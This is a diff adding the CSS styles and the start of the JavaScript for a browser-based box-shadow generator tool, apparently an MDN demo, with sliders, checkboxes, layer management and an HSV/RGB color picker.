+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input > input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox > label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox > input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left > * {
+	float: left;
+}
+
+.wrap-right > * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview > * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] > span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] > span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] > input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +

+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step <= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step >= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos < 0) pos = 0;
+		if (pos > width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision > this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value > slider.max || value < slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x > size)
+				x = size;
+			if (y > size)
+				y = size;
+
+			if (x < 0) x = 0;
+			if (y < 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
